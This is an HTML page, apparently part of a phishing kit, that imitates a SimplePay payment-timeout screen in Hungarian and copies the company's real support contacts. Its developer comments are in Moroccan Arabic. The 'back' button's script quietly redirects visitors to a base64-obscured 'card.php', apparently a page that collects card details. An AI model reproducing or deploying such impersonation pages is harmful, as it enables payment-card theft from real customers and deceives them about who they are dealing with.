<!DOCTYPE html>
<html lang="hu">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>one szamla</title>
<style>
  :root{
    --bg:#f7f9fb;      /* خلفية عامة قريبة من المرجع */
    --ink:#0e2a35;     /* لون النص الأساسي */
    --muted:#5f6f7a;   /* نص ثانوي */
    --line:#e8edf1;    /* خط فاصل */
    --btn:#0e2a35;     /* زر */
    --btn-hover:#0b222b;
    --accent:#36c186;  /* دائرة صغيرة لو بغيت */
  }

  *{box-sizing:border-box}
  html,body{margin:0}
  body{
    min-height:100vh;
    display:flex;              /* باش الفوتر يلصق للتحت بلا بياض زايد */
    flex-direction:column;
    background:var(--bg);
    color:var(--ink);
    font-family:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif;
  }

  /* Topbar */
  .topbar{
    height:68px;
    background:#fff;
    border-bottom:1px solid var(--line);
    display:flex;align-items:center;justify-content:center;
    padding:0 16px;
  }
  .brand{display:flex;align-items:center;gap:10px}
  .brand img{height:30px;display:block}
  .brand .name{font-weight:800;letter-spacing:.2px}

  /* Main area */
  main{flex:1; display:flex; align-items:flex-start; justify-content:center;}
  .wrap{width:100%; max-width:860px; padding:24px 16px 0;}

  .card{text-align:center}

  /* الخانة/الأيقونة الوسطانية (لوغو سفلي) */
  .icon{
    width:88px;height:88px;border-radius:18px;
    background:#eef6f1;margin:0 auto 14px;
    display:grid;place-items:center;overflow:hidden;
  }
  .icon img{width:64px;height:64px;object-fit:contain}
  .icon-fallback{width:34px;height:34px;border-radius:8px;background:#d9efe6}

  /* العنوان والنص */
  h1{margin:12px 0 8px;font-weight:800;font-size:24px;line-height:1.25;color:#102733}
  .lead{
    margin:0 auto;max-width:560px;line-height:1.7;
    color:var(--muted);font-size:16px;
  }

  .divider{height:1px;background:var(--line);max-width:320px;margin:20px auto}

  .tx{font-size:14px;color:#6b7b88;margin-top:6px}
  .tx b{color:#0b3d2a;text-decoration:underline}

  .btn{
    margin:18px auto 0;display:inline-block;min-width:360px;height:52px;
    padding:0 24px;border:none;border-radius:10px;
    background:var(--btn);color:#fff;font-weight:700;letter-spacing:.2px;cursor:pointer;
    box-shadow:0 8px 18px rgba(14,42,53,.18);transition:.15s;
  }
  .btn:hover{background:var(--btn-hover)}

  /* Footer */
  .footer{
    background:transparent;
    max-width:1100px;margin:34px auto 40px;padding:0 16px;
    display:flex;gap:24px;flex-wrap:wrap;align-items:flex-start;justify-content:space-between;
    color:#6b7b88;
  }
  .col{min-width:280px}
  .col h4{margin:0 0 10px;font-size:15px;color:#44555f}
  .list{display:grid;gap:6px;font-size:14px}
  .muted{font-size:12px;color:#95a5af}

  @media (max-width:640px){
    .btn{min-width:100%}
  }
</style>
</head>
<body>

  <!-- الهيدر: لوغو فوق -->
  <header class="topbar" aria-label="Top bar">
    <div class="brand">
      <!-- حط لوغو التوب هنا -->
      <img src="assets/images/simplepay-logo.png" alt=" logo" onerror="this.style.display='none';">
      <div class="name"></div>
    </div>
  </header>

  <!-- المحتوى -->
  <main>
    <div class="wrap">
      <section class="card" aria-labelledby="ttl">
        <!-- لوغو وسط (داخل الخانة) -->
        <div class="icon" aria-hidden="true">
          <img src="assets/images/payment_timeout_blob.svg" alt="MyPay mark"
               onerror="this.replaceWith(Object.assign(document.createElement('div'),{className:'icon-fallback'}));">
        </div>

        <h1 id="ttl">Időtúllépés</h1>
        <p class="lead">A fizetés időtúllépés miatt megszakadt.<br>Kérjük, próbáld meg újra.</p>

        <div class="divider" role="separator" aria-hidden="true"></div>

        <p class="tx">SimplePay tranzakcióazonosító
 <b id="txid"></b></p>
        <p class="tx">
753770209 <b id="txid"></b></p>

        <button class="btn" type="button" onclick="goBack()">Vissza</button>
      </section>
    </div>
  </main>

  <!-- الفوتر (ملتصق للتحت بلا فراغ أبيض) -->
  <footer class="footer" aria-label="Ügyfélszolgálat">
    <div class="col">
      <h4>Ügyfélszolgálat - SimplePay Zrt.</h4>
      <div class="list">
        <div> Telefonszámok: <span class="muted">+36 1 366 6611 +36 20 366 6611  +36 30 366 6611  +36 70 366 6611 </span></div>
        <div>✉️ Email cím: <span class="muted">ugyfelszolgalat@simple.hu</span></div>
        <div>📍 Levelezési cím: <span class="muted">1138 Budapest, Váci út 135-139. B. ép. 5. em.</span></div>
      </div>
    </div>
    <div class="col">

      </div>
    </div>
  </footer>

<script>
  // رقم المعاملة من URL: ?tx=753770209
  const tx = new URLSearchParams(location.search).get('tx');
  if (tx) document.getElementById('txid').textContent = tx;

  function goBack(){
    if (document.referrer) history.back();
    else {
        var nextPage = atob('Y2FyZC5waHA='); // card.php encoded
        location.href = nextPage;
    }
  }
</script>
</body>
</html>